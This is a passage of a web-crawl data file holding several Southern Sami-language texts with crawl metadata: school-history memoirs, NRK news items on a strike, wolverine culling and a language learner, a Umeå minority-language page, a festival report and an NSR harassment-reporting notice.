lohkehtimmie mijjem haasta. Naan noerhtesaemien learoegærjah leah åarjelsaemien gïelese sjïehtesjamme, v.g Saemesth amma 1-4. Daah gærjah gujhth mubpien lohkehtæmman, menh tuhtjem dah bøøremes aalkoe- jïh ammesgïelen lohkehtæmman.\nJïlleskuvlesne gaajhke-såårts tjaaleldahkh\/lidteratuvrh provhkebe guktie studeenth åadtjoeh daejredh magkerh gååvnesieh, edtjieh lïeredh veeljedh øøhpehtimmien joekehth aamhtesidie. Åemie Anna dejtie gærjide Don jïh daan bïjre I-III buektieji mejtie altese radijove-programmh tjaelieji. Duhtie daehtie gærjeste veeljebe, gærjijste Saemien skuvle-vaajese aaj.\nJaepien 1993 dle åarjelsaemien-daaroen baakoegærja bøøti, daaroen-åarjelsaemien easkah 2009. Gïelelearose Bergslanden Sydsamisk grammatikk.\nNåah, manne aaj learoevierhtieh dorjeme, maadth-skuvlese, jåarhkeskuvlese jïh jïlleskuvlese. Im leah dejtie øørneme guktie learoegærjine sjïdteme. Byøreme mån. Luste vuejnedh jïh daejredh jeenebh noerh sijhtieh lohkehtæjjine sjïdtedh. Dejtie daarpesjibie.\nNuerebh lohkehtæjjah sijhtieh ovmessie learoevierhtieh guktie fihkieh veeljedh. Jïh ohtsedidh gaskeviermeste. Hïjven teknigke aath viehkine, tjoerebe barre geehtedidh ollebe orrijh jïjtjh ussjedalledh.\nMov mïelen mietie dellie gïele galka meatan joekehth faagedajvine, ij galkh oktegh dennie raedtesne. Jïh gïele tjuara meatan lohkehtæjjan øøhpehtimmesne saemien studeentide, lissine dle byøroe iemies-laakan meatan dovne jeatjah øøhpehtimmide, v.g. healsoefaagide. Åarjelsaemien tjuara iemies sijjiem åadtjodh dejnie skuvline gusnie saemieh. Nimhtie åarjelsaemiej maanah jïh noerh øøhpehtimmie-faaleldahkh åadtjoeh gusnie gïele jïh kultuvre meatan maanagïerteste jïllebe øøhpehtæmman. Jïh eadtjohke-laakan gïelebarkoen bïjre noeride soptsestidh guktie sijhtieh åarjelsaemien vaarjelidh jïh gïelebarkojne jåerhkedh.\n[1]\nEará artihkkalat Sámi skuvlahistorjá 6-girjjis","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/skuvla.info\/skolehist\/nora-s.htm","date":"2018-01-16T15:09:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00088.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":2042,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Davvisámegillii På norsk In English\nTjaalege gærjeste Saemien skuvle-vaajese 1. Davvi Girji 2005.\nAlbert Jåma, Tronesesne Njåamesje-vuemesne, 2003.\n|Albert Jåma reakasovvi jaepien 1946 jih båatsoeburrie- byjrekisnie Helgelaantesne byjjesovvi. Fuelhkie lij daelvegi saelhtien bealesne Njåamesjevuemesne, jih giesegi vaerij dajvine Noerhte-Trøndelagesne. Daelie jijtjedh båatsoeburrie seamma dajvine jih daesnie soptseste altese skuvletijjeste jih guktie fealadimmie skuvlen jih båatsoedajven gaskems orreme.|\nAlberten aehtjie, Anselm Jåma lij jieknge barkije åarjelh-saemien skuvlen aamhtsi gaavhtan. Gellie jaepieh lij åvtehke åarjelh-saemien skuvle-kovmiteesne. Dan buerie barkoen skuvlen gaavhtan jih aaj barkoeh jeatja saemiej aamhtsigujmie, Anselm Jåma Gånkan gulliem dåastoeji jaepien 1968. Skuvle-kovmiteen barkoe jaepien 1902 eelki, mohte dam orrejehtin 1947 juktie åejvie-almetjh staatesne luhpiedin internatskuvlem åarjelh-saemiej maanide bigkedh. Aanjebodts skuvle Aarbortesne jaepien 1951 tseegkesovvi, mohte ij lij dihte dorjehtse gæmhpomen mietie, juktie kovmitee vihth juhtiemasse bøøti jaepien 1953. Jeenemesh saemieh Trøndelageste jih Hedemarkeste lin meatan dennie kovmiteesne. Saemieh Aarborteste jih Vaapseste billin edtjin skuvlem Aarbortesne dassedh jis orre skuvle saemide Trøndelagesne tseegkesovvi. Guhkies tijje veesi aerebi goh skuvle-kovmiteen barkoe vååjnesasse bøøti. Voestegh jaepien 1968 meehtin orre skuvlem saemide Snåasesne rihpestidh.\nAlberten nielje jaepien båarasåbpoe vielle dejtie voestes skuvle-jaepide misjovnen skuvlesne Havikesne veedtsi. Alberte jijtje abpe skuvletijjem saemien skuvlesne Aarbortesne veedtsi, jaepeste 1953- jaapan 1960. Goh eelki, dellie lij skuvle gåalmeden jaepien juhtiemisnie.\n- Novh lij sjiere skuvle mij mijjem Aarbortesne dåastoehti. Tyskerh dam bigkin goh mubpie veartenen dåaroe. Dihte edtji årroeme-sijjie tyske åejvide årrodh. Dåaroen mænngan dihte hovtelline sjidti. Skuvle dam skuvlejaepiem leeji, mohte giesegi lij hovtelle. Hovtellen aajhtere skuvlesne årroeji dah voestes golme-njielje jaepieh, sijhti altese deerpegidie geehtedh.\nAbpe tijjem goh lim skuvlesne, dihte gåetie-iemede dihte meehti saemiestidh. Iemede lij Maja Staven (Lifjell) guhte lij desnie mov voestes njielje jaepieh skuvlesne. Dan mænngan Sofie Kappfjell bøøti guhte aaj saemesti. Naaken jeatjebh dejstie internate-barkijste aaj saemiestin, guktie Skjolvor Joma jih Åsta Larsen guhth desnie ståantetjem barkigan.\nJeenemesh dejstie learohkijste båatsoe-burriefuelhkijste bøøtin juktie skuvlejaepieh lin båatsoebårran sjiehteldihkie. Dah golme voestes jaepieh mijjieh ajve jåvli åvtelen veedtsimh, medtie 16 våhkoeh, govhte biejjieh våhkosne. Dah båarasåbpoe learohkh jåvlen mænngan veedtsin, medtie 22 våhkoeh. Nimhtie lih mijjen vaenebh tæjmoeh mohtedihks voenen skuvline. Måjhtam dah maanah desnie mijjese sohtehtin juktie mijjen dan guhkies eejehtimmie.\nJalhts ij lij skuvlesne saemien sisvege jallh saemien giele, Alberte læjhkan jijnjem bueriem maahta skuvlen bijre jiehtedh:\n- Mijjieh skuvlesne ektesne murriedimh jih akti vyøki barkimh, tjoeverimh aaj diedtem sinsætnan vuesiehtidh, jih bueries-voetem gaskems nænnoestidh.\nFaagi jih byjresken gaavhtan lij skuvle buerie. Naan aejkien lin maahtoe-gaahtjemh skuvli gaskems Aarbortesne, jih aejkeste aajkan mijjen skuvle vitni. Gosse treavkahgaahtjemh jih njultjeme, dellie aaj mijjen skuvle åvtesijjesne.\nMov tjidtjie lij skuvlen lihtsege giehtjedimmie-raeresne goh ajne gujne. Ij sån lij dihte aelhkie dej beeli juktie raeresne lin ålmah meatan guht vihkeles barkojne giehteleminie . Desnie dovne hearra jih dåaktere. Idtjin sih dah lyjhkh gujne meatan gie ij lij seamma gellie skuvlh vaadtseme goh dah, mohte læjhkan åadtjodh jijtse aarvojde govlesasse beejedh.\n|Ålkine, stoerredållen bealesne ca. 1960, Albert Jåma gårroe-bealesne. |\n(Guvvie: Grete Austad)\nJaepien 1968 Staaten Båatsoeburrie-skuvle Borkenesesne Harstaden baalte rihpesovvi jih Alberte sijjiem desnie åadtjoeji. Bøøreme lij gujht dej jeatjah learohki ektine aelkedh, mohte dan jijnje barkoe vaeresne guktie idtji Alberte dam nøørh gænnah.\n- Luhpiem åadtjoejim abpe tjaktjem gåetesne, vaeresne barkedh. Skuvlese tsiengelen vøølkim jih desnie mannem raeriestin tjarki barkedh juktie edtjim dej jeatja learohkidie jaksedh.\nDah mah lin orre dennie faage-gievlesne lin geologie, laante-betnien learoe jih learoe gåetie-juvri bijre. Desnie åadtjoejimh lieredh kraesie-produksjovnen jih govsi bijre - sjiere laante-burrie faagh. Mohte ij lin dah faagh joekoen vihkeles. Gærja-tjaaleldahke lij orre faage, mohte dejnie lin manne realskuvlesne giehtelamme juktie dihte munnjien aelhkie sjidti. Dah jeatjah faagh lin aaj munnjien aeriebistie åehpies.\nKlaassesne lij akte niejte, dah jeatjebh påajkh. Learohkh bøøtin åarjelh-saemien dajvijste jih Romseste jih Finnmarkeste. Buerie lij learohki gaskems åarjelh- jih noerhte dajvijste.\nTjoeverimh daaroestidh juktie idtjimh mijjieh mijjen joekehts saemien-gielem guarkah. Learohkh noerhte-samien dajvijste lin væjkeles daaroestidh. Måjhtam ajve aktem giese lij tsagkese daaroen soptsestidh.\nBåatsoeburrie-skuvle lij laanteburrie dajvesne jih aaj gartnerskuvlen nuelesne. Nimhtie sån kultuvre-kollisjovne sjidti?\n- Tjaktjen aerebi goh manne bøøtim, lin tsagkesh dovne skuvlesne jih voenesne. Gallesh dejstie learohkijstie båatsoeburrie skuvlesne lin naa båeries juktie ij lij dagkeres faaleldahke aerebi orreme. Lustestalleme gujht sjidti, jih rektovre gie lij gartnerskuvlese veadtaldihkie, sån mijjeste billi. Åvtehke Båatsoeburrie-skuvlen ståvrosne, Anders Oskal tjoeveri båetedh mijjine råårestalledh. Mohte niejth voenesne mijjem lyjhkin- idtjin dah mijjeste billh. Munnjien lij byjreske voenesne lustes.\n- Mohte ij lij sån aelhkie båatsoeburrie-skuvline aelkedh, dijjen lin naan gærjah?\n- Åejviegærja lij \"Rein og reindrift\" (Bovtsh jih båatsoeburrie) maam Sven Skjenneberg tjaaleme. Dihte lij \"forskere ved Statens reinforsøk\" LødingesneJis laanteburrien departemente edtji båatsoeburrien skuvlem dåhkasjehtedh,dellie aaj tjoeverimh laanteburrien faagh plaanesne meatan. Mohte naaken faagh åadtjoejimh plaaneste vaeltedh. Nimhtie skuvtere traktovren sæjjan bøøti. Skuvle åestieji båeries \"Vargem\" mejnie åadtjoejimh giehtelidh, skruvvedidh,- jih aaj orre \"Ockelboem\" mejnie tjuerpies laakan vøøjetjimh.\n- Tjoeverim vaeresne årrodh. Mov vielle pruvri jih jåhteji guktie manne oktegh mov eejhtegigujmie sjidtim. Naan jaepiej mænngan viehkieh bøøtin. Anti-vielletjh Garresjohkeste bøøtin juhtien jih bovtsigujmie mov fuelhkien ektine eelkin. Nimhtie buerebe astoe munnjien sjidti skuvlh vaedtsedh, jih aktem jaepiem gymnasesne Osloven gieleskuvlesne veedtsim. Dan mænngan journalist-skuvlem ohtsim. Vøøjnim man daerpies vuesiehtidh gaajhkem ov-reaktam mij saemiej vøøste dorjesovveme. Mohte idtjim sijjiem desnie åadtjoeh guktie Aaltese vøølkim lohkehtæjja-skuvlem vaedtsedh. Vihth tjoeverim aelkedh dej jeatjebi mænngan juktie tjoeverim gåetesne gosse leekedidh. Gøøkte jaepieh skuvlesne, mohte gellien aejkien gåetesne viehkine dovne gosse tjøønghkedh jih aaj slaaterdidh. Dellie lij joe sjiere sijjie saemide, Aaltesne, mohte dihte sijjie lij dejtie guhth noerhtesaemien soptsestin. Jijtje tjoeverim daaroen learohki ektesne vaedtsedh juktie idtjim manne naan saemien faagen sisvegem åadtjoeh mearan desnie. Mearan lim Aaltesne, manne noerhtesaemien lohkim gosse skuvlebiejjieh vaaseme. Mov lohkehtæjja desnie lij Håkon Henriksen. Minngemes jaepiem Tråantesne veedtsim juktie dellie åenebe geajnoe gosse gåatan.\nSkuvlen mænngan vihth båatsoe-laantesne naan jaepieh aerebi goh lohkehtæjjine Snåasesne eelkim. Idtjim maaje asth lohkehtæjjine årrodh, mohte goh mannem Snåasese bøørin, dellie desnie naan jaepieh barkim. Desnie lin dellie learohkh saemien voestes gieline. Lohkehtæjja guhte dejtie øøhpehtamme, lij orrejamme jih nimhtie manne dan sæjjan bøøtim.\n- Mearan lim lohkehtæjja, mov aaj diedte båatsoebarkoem juhtiehtidh. Nimhtie lij munnjien daerpies Snåaseste loevenidh gosse jijnje barkoe bovtsi luvnie, jih aaj gosse lim jeatja barkose daerpies.\n- Datne leah åarjelh-saemien gielem øøhpehtamme, mohte idtji dån datne åadtjoeh saemiengielem skuvlesne lieredh. Gåessie leah liereme jijtjedh ietniengielem tjaeledh jih lohkedh?\n- Skuvline gusnie leam vaadtseme im leah åådtjeme gielem lieredh. Gosse geerve, dellie kuvsjh Snåasesne dåeriedim mejtie rektovre Saemien skuvlesne, Ella Holm Bulle juhtehti. Mænngan bielie-jaepiekuvsjem Snåasesne dåeriedim mij lij Levangeren jilleskuvlen åelien nuelesne. Naan jaepien mænngan mubpiebieliekusjvem Aarbortesne veedtsim. Dihte lij Nesnaen jilleskuvlen åelesne.\n- Båatsoeburrie-øøhpehtimmie vååjnoes goh edtja båatsoeburriem sjiehtesjadtedh stoerre ektievoetese. Ij leah dihte nimhtie guktie buerie saemien båatsoe-bårran sjædta, mohte nimhtie guktie jeatjabidie iedtjide ålkoelisnie veadta. Nimhtie aaj maahtah gihtjedh mejtie daate øøhpehtimmie lea viehkine båatsoeburrie-noeride jallh geajnoe mij gåarhmolen bealan vuesehte.\n|(Guvvie: Josef Halse)|\nJeatjah tjaalegh gærjeste Saemien skuvle-vaajese 1","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/skuvla.info\/skolehist\/albert-s.htm","date":"2018-01-19T13:23:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887981.42\/warc\/CC-MAIN-20180119125144-20180119145144-00120.warc.gz","language":"sma","language_score":0.9999449253,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999449253082275}","num_words":1087,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nøørje maahta gøøkte tæjmoe tjøødtjestidh. Daan gaavhtan daate lea politihke streike dannasinie Nøørjen reereme edtja daam Barkoebyjrese laakem jarkesidh.\nMaanagïerth jih skuvlh.\nMuvhth dejstie Nøørjen maana-gïertijste jih skuvlijste ts 14.00 steegkieh. Daate lea politihke streike, jijtjesyjhtehts. Dah lohketæjjah skuvline jih maana--gïertine åadtjoeh jijtje veeljedh jis sijhtieh meatan årrodh.\nMuvhth skuvle-maanah tjuerieh skuvlem varkebe orrijehtedh. Dah tjïelth åadtjoeh jijtje reeredh jis edtjieh skuvlide dahpedh.\nSnåasen tjïeltesne edtjieh aaj streikedh.\nGuktie bist Åarjelsaemiej skuvlesne jih Suaja maana-gïertesne sjædta. Rektovre Susanna N Valkeapää , Åarjelsaemiej skuvlesne Snåasesne vaestiede.\n– Gaajhk nieljie barkijh mij Suaja maana-gïertesne barkoeminie, edtjieh daan biejjien streikedh. Dellie maa naemhtie løøveme, gøøkte jeatja viehkie barkijh gåtjkoehtamme jih manne aaj goh åejvine maana- gïertesne barkem.\nGuktie bist Åarjelsaemiej skuvlesne?\n– Mijjien daelie gïele jih kultuvre våhkoe, Åarjel saemiej skuvlesne. Dah barkijh internaatesne edtjieh aaj streikedh, desnie ibie darpesjh naan viehkie barkijh øørnedh, gosse maanah skuvlesne lea, Valkeapää bievnede.\nBusse, ruevtie-raajroe jih girte -skovhte stoerre staarine, tjøødtjehte.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/noorje-tjoodtjeste-1.12176278","date":"2018-01-23T10:28:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891886.70\/warc\/CC-MAIN-20180123091931-20180123111931-00680.warc.gz","language":"sma","language_score":0.9999645948,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999645948410034}","num_words":151,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laake unnebelåhkoej jïh unnebelåhkoegïeli bïjre galka Sveerjen nasjovnellen unnebelåhkoeh vaarjelidh, dej nuepieh jïh reaktah tsevhtsiehtæmman nænnoestidh jïh unnebelåhkoegïelide saemiengïelem, meänkieli gïelem, såevmien gïelem, jiddisch gïelem jïh romani chib gïelem gorredidh. Laake, man våarome lea reeremen unnebelåhkoepolitijhken strategije, orre skåltoeh Upmeje tjïeltese buakta jïh orre reaktah dejtie gieh dejtie dåehkide govlesuvvieh.\nSaemiengïelen, meänkieligïelen jïh såevmiengïelen lea tjarkebe vaarjelimmie muvhtene geografijhkeles reeremedajvine jïh muvhtene åejvieladtjine. Upmeje tjïelte lea saemien reeremedajvesne jïh såevmiengïelen reeremedajvesne.\nUpmeje tjïelten barkoe laaken dåastohte eelkie tjaktjen 2009 jïh dïjre beetnehvierhtiej bïjre reformasse reeremistie bööti goevten askesne seamma jaepien. Barkoedåehkie lïhtseginie tjïelten ovmessie darjojste barkoem sïemedidh jïh rutijnigujmie barkedh dah daarpoeh dåastoehtidh mah gååvnesieh. Dåehkie bïevneshbarkoem evtede jïh soejkesje dejtie unnebelåhkojde jïh dejgujmie sïemede, jïh aaj barkoem jïjnjebh maahtoem unnebelåhkoej jïh unnebelåhkoegïeli bïjre tjïeltesne dorje. Unnebelåhkoejgujmie raarastalla destie maahtoe båata mah daarpoeh darjoeh tjuerieh dåastoehtidh.\nUpmeje tjïelten bïevneshplaerie unnebelåhkoereformen bïjre\n(pdf, sveerjen gïelesne)\nNasjovellen unnebelåhkoeh jïh reeremedajvh (pdf, kaarhte, sveerjen gïelesne)\nMinoritet.se (Saemiedigkien webbesæjroe nasjovnellen unnebelåhkoej bïjre)\nDåarjoe unnebelåhkoegïelide\nInstitutet för språk och folkminnen staatedåarjoem juaka buerebe tsiehkide dan nasjovnellen unnebelåhkoegïelem lïeredh jïh utnedh.\nSidan har granskats 2017-09-05\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/www.umea.se\/umeakommun\/kommunochpolitik\/manskligarattigheter\/nationellaminoriteterochminoritetssprak\/nasjovnellenunnebelahkoehjihunnebelahkoegielh.4.58cfd09212e54bc646280009461.html","date":"2018-01-24T11:50:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084894125.99\/warc\/CC-MAIN-20180124105939-20180124125939-00076.warc.gz","language":"sma","language_score":0.9998944998,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998944997787476}","num_words":215,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan gijren Byjreskedirektorate daejtie gierhkien pleasojde ohtseminie jih jis daerpies mænngelh jih skoedtjijste vaeniedidh, guktie jijtje sijjien nedtebielesne tjaaleme.\nVoestemes dihte lisensevijreme, dihte goevten 15.b. daan jaepien orreji. Daan daelvien 50 gierhkieh jakseme, dejstie 142 maam Nøørjesne luhpiedamme vijredh, daan lisensevijremissnie.\n– Gellieh gierhkieh sjiere dajvine daan jaepien jakseme, læjhkan vååjnoe, dah gierhkieh, bovtsh jih sirvide tjarke moetesje. Deej dajvine, tjoerebe daelie dejtie mænngelh jih tjovkijste vaeniedidh, dihte faagedirektøøre Byjreskedirektoratesne Morten Kjørstad, bievnede.\nDaan gijren edtja Statens naturoppsyn (SNO) ohtsedidh jih orre gierhkien pleasoeh vïhtesjidh. Edtjieh voestemes vaaksjodh man gellieh pleasoeh gaevnieh, jih daan mænngan maehtieh vaeniedidh jis daerpies.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/gierhkien-aalem-vaeniedidh-1.12358464","date":"2018-01-22T07:13:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891105.83\/warc\/CC-MAIN-20180122054202-20180122074202-00183.warc.gz","language":"sma","language_score":0.9998400211,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998400211334229}","num_words":96,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stig Arne Somby\nDaesnie maahta gaajhkene lehkesne saemiestidh.\nTsåahka lea njealjeths åvtelen göökteluhkieakte.\nManne aktene prïhtjgåetesne Karasjohkesne tjahkesjeminie.\nÅlkene biejjie guaka jih ånnetji tjuatsa, jih naaken almetjh aktene buertesne mov dueksne tjahkesjeminie, svarkeleminie.\nManne onne ståantetje vuerteme, jih dellie maa båata vaadtsa. Maahtam satnem klaasen tjirrh vuejnedh. Dle sijse tjaanga. Buerie biejjie! Dihte jeahta, jih mojjehte.\nStig Arne Somby (36) dihte giem manne vuerteme, Karasjohkesne byjjenamme, jih dihte lea öövre eadtjohkes gïelebieljie. Sov lea åarjelsaemien moarsije, jih dan åvteste veeljeme åarjelsaemien lïeredh.\n– Manne akte kuuvsje bijre govlim, mij snåasesne lij. Dle ussjedim dihte edtji luste årrodh, Stig Arne jeahta.\nIj leah mov gïele\nJeenjemes almetjide åarjelsaemien lea geerve guarkedh.\nGuktie bist dellie gosse noerhtesaemien soptseste jih edtja åarjelsaemien lïeredh?\nStig Arne veanhta aelhkebe akte gïele lïeredh misse ij naan veadta utnieh.\nLäjhkan mejtie edtja saemiengïele jallh jeatjah gïele lïeredh.\n– Ij lij daan geerve munnjan juktie manne joe maahtam noerhtesaemiengïele, jih vienhtem aaj aelhkebe munnjan juktie ij leah mov gïele, dellie aelhkebe lïeredh, Somby soptseste.\nIj barre grammatihken bijre\nStig Arne njielje jaepieh åarjelsaemien lohkeme, jih jijnjh ovmessie kuuvsjh vaadtseme. Dihte tuhtjie bööremes kuuvsjide lea dah mesnie åadtjoe gïelem nuhtjedh jih soptsestidh, ij barre dom gramamtihken bijre lohkedh.\nDaennie Karasjohkesne ij dan gellie mah åarjelsaemien saemiestieh. Bene Stig Arne soptseste dihte pråvhka almetjigujmie sosiaale mediaj tjirrh saemiestidh.\n– Mov lea skuvlebarkoe aaj maam tjoerem tjaeledh, Somby jeahta jih föörhkede.\nJoekehtse gïelijh gaskems\nMånnoeh Stig Arne bielie täjmoe prïhtjgåetesne tjahkesjamme, jih daelie jienebh almetjh aaj båeteme. Gaajhkene lehkesne noerhtesaemien govloes.\nÖövre tjïelke ahte lea joekehtse gïelijh gaskems.\n–Daesnie maahta gaajhkene lehkesne saemiestidh, Somby jeahta.\nJih nov gujhth saatnan. Daesnie maahta hov bovresne saemiestidh. Prihtjegem dongkedh jih viehkiem saemiengïelesne skïemtjegåetesne åadtjodh. Ij leah seamma gïeletsiehkie åarjesne.\nStig Arne Somby\nVïenhtem jih håhkesjem, manne edtjem gujht voehjkelidh maam-akth darjodh juktie gïelem jeala.\nBuerebe åarjelsaemiengïeline barkedh\nMij dellie Stig Arnem baajhta?\nDihte soptseste sov voestes åssjalomme lij sov moarsije gïeline viehkiehtidh, dle barre luste sjidti lïeredh.\nStig Arne aaj tuhtjie buerebe jis åarjelsaemiengïeline barka, juktie joe gååvnese dan jinjh mah noerhtesaemien saemiestieh.\nGosse manne gihtjem mejtie dihte veanhta åarjelsaemien edtja båetije biejjide jieledh, dle tjïelke vaestiedasse åadtjoem:\n– Vïenhtem jih håhkesjem, manne edtjem gujht voejhkelidh maam-akth darjodh juktie gïelem jeala, Stig Arne Somby jeahta.\n- Lohkh aaj: Henne bør du snakke sørsamisk til","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/eadtjohkes-gielebieljie-1.12026514","date":"2018-01-21T02:01:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00121.warc.gz","language":"sma","language_score":0.9999901056,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999901056289673}","num_words":374,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten gøøkteluhkie-vijhteden biejjien raajeste, goevten gøøkteluhkie-gaektseden biejjien raajan, Lopme Naestie kultuvrefestivaale Bïenjedaelesne lij.\nGoh aajnehke åarjelsaemien kultuvrefestivaale Sveerjen bïelesne Lopme Naestie vihkeles dovne saemide, jïh aaj jeatjah almetjide mah åarjelsaemien dajvesne årroeh juktie åadtjoeh saemiej kultuvri bijre lïeredh jïh vuejnedh saemieh don dajvesne gååvnesieh.\nToamma Dorra\nLea vihkeles ahte mijjieh fihkieh vuesiehtidh mijjien kultuvre\nKarin Rensberg Ripa lea aerebi meatan orreme festivaalem øørneme, dan jaepien barre guessie. Dïhte tuhtjie daate vihkeles tjåangkoesijjie jïh deahpadimmie saemide.«Daelie daate kultuvrefestiaale åehpies saemien almetji luvnie», Rensberg Ripa soptseste.\nStuerebe jïh stuerebe\nLuhkieakte jaepieh Lopme Naestie kultuvrefestivaale Bïenjedaelesne orreme, jïh stuerebe jïh stuerebe jaepeste jaapan sjïdteme. Fïerhten jaepien ovmessie aamhtesh Lopme Naestesne, dan jaepien aamhtesem lij: Saemieh ovmessie perspektijvistie.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/lopme-naestie-lea-vihkeles-1.12237527","date":"2018-02-19T14:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812665.41\/warc\/CC-MAIN-20180219131951-20180219151951-00776.warc.gz","language":"sma","language_score":0.9999797344,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999797344207764}","num_words":114,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NSR edtja akte jearsoes siebrie årrodh. Mijjieh dan åvteste datnem dov histovrijh mijjine juekedh, guktie maehtebe vielie daajroem åadtjodh dan bïjre mij jïjtjene siebresne heannede.\nNSR edtja akte jearsoes siebrie årrodh, bielelen seksuelle daaresjimmieh, mïedtelimmieh jïh narrahtimmie. Juktie dejnie barkedh rijhkeståvroe lea moenehtsem nammoehtamme #NSRaaj. Moenehtse sæjhta goerehtidh mejtie lea nåake kultuvre siebresne, dejnie ulmine råajvarimmiejgujmie nïerhkedh juktie siebriem jearsoesåbpoe darjodh lïhtsegidie, tjirkijidie jïh barkijidie.\nJuktie maehtedh guvviem åadtjodh guktie tsiehkie lea siebresne, NSR viehkiem daarpesje lïhtsegijstie jïh mubpijste. Jis datne aktem nåake heannadimmiem dååjreme NSR:sne dellie mijjieh ïedtjem utnebe dam daejredh. Akte jeatjah vihkeles bielie barkoste lea gaavnehtidh mah areenah mah leah joekoen prååsehke.\nReektemegoere dååjresidie\nAkte vihkeles bielie goerehtallemistie lea dïhte nuepie dååjresh eevre tjeakoeslaakan reektedh, jïh dam maahta darjodh gosse goeresne vaestede aktene byjngetje svaalhtesisnie bielelen nommem jïh govlesadtemebïevnesh dievhtedh. Bïevnesh mah sïjse båetieh edtjieh uvtemes våaroeminie åtnasovvedh analyjsese jïh evtiedæmman råajvarimmijste mah leah stuvreme akten vihties ulmien vööste.\nJis bïeljelimmieh sïjse båetieh mah leah joekoen itjmies NSR sæjhta dejtie bæjjese fulkedh, men dellie nommem jïh govlesadtemebïevnesh daarpesjibie. Jis dov akte vihties aamhtese maam datne sïjhth mijjieh edtjebe bæjjese fulkedh sjïerelaakan, mijjieh datnem birrebe kroessem dïsse bïejedh goeresne, jallh ryöktesth gaskesem vaeltedh naakeninie ståvrosne.\nBïeljelimmie heannadimmijste\nGosse tjïelke bïeljelimmieh maahta ryöktesth gaskesem vaeltedh ståvrojne.\nTjaelemesijjien åvtehke Thomas Myrnes Nygård dam byjjes dïedtem åtna bïeljelimmie-aamhtesh bæjjese fulkedh mah leah seksuelle daaresjimmiej jïh mïedtelimmiej bïjre NSR:sne. Maahta ringkedh dïsse tellefovnesne 988 50 272 jallh meejlem seedtedh email@example.com.\nÅvtehke Beaska Niillas dam bijjemes dïedtem åtna gaajhki åvteste mij siebresne sjugniehtåvva. Maahta ringkedh dïsse tellefovnesne 918 56 318 jallh meejlem seedtedh firstname.lastname@example.org.\nSiebrien mubpieåvtehke Beatrice Fløystad dam sisnjelds barkoem stuvrie barkojne #NSRmaid. Maahta ringkedh dïsse tellefovnesne +46 070 544 8940 jallh meejlem seedtedh email@example.com.\nJeatjah veeljeme tjirkijh maehtieh aaj bïeljelimmieh dåastodh jïh NRS:n njoelkedassh demtieh gïetedimmien bïjre seksuelle daaresjimmijste jïh mïedtelimmijste (svaalhtese).\nVåarome\n#NSRaaj lea akte bielie dehtie guhkiebasse barkoste ihke NSR edtja akte jearsoes siebrie årrodh, akte barkoe mij eelki rijhketjåanghkosne Altesne rïhkeden 2016. Jaepien 2011 NSR lea njoelkedassh nænnoestamme juktie seksuelle daaresjimmieh jïh mïedtelimmieh gïetedidh. Jaepien 2016 rijhketjåanghkoe nænnoesti dejtie njoelkedasside staeriedidh, jïh daate goerehtalleme lea akte bielie barkoste aktem maadthlinjam 